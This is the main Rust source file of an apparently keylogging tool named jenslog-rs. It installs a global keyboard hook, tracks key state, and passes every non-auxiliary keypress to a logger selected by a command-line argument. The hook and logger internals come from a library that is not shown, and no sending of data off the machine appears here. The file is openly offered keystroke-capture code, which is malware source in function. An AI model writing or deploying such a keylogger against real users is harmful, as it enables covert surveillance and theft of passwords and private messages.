jenslog-rs/src/main.rs

28 lines
744 B
Rust

#[macro_use(hookproc)]
extern crate jenslog_rs;
#[macro_use]
extern crate lazy_static;
use std::env::args;
use std::sync::Mutex;
use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}};
use jenslog_rs::key::keyhook::Keyhook;
lazy_static! {
static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());
static ref LOGGER: Box<dyn Logger> = get_logger(&args().nth(1).unwrap_or_default());
}
fn main() {
let hook = Keyhook::new(hookproc!(|_, _, key| {
let mut state = KEYSTATE.lock().unwrap();
state.update(key);
//Check if keydown and not aux key
if state.is_down() && !state.is_aux_key() {
LOGGER.log(&state);
}
}));
hook.start();
}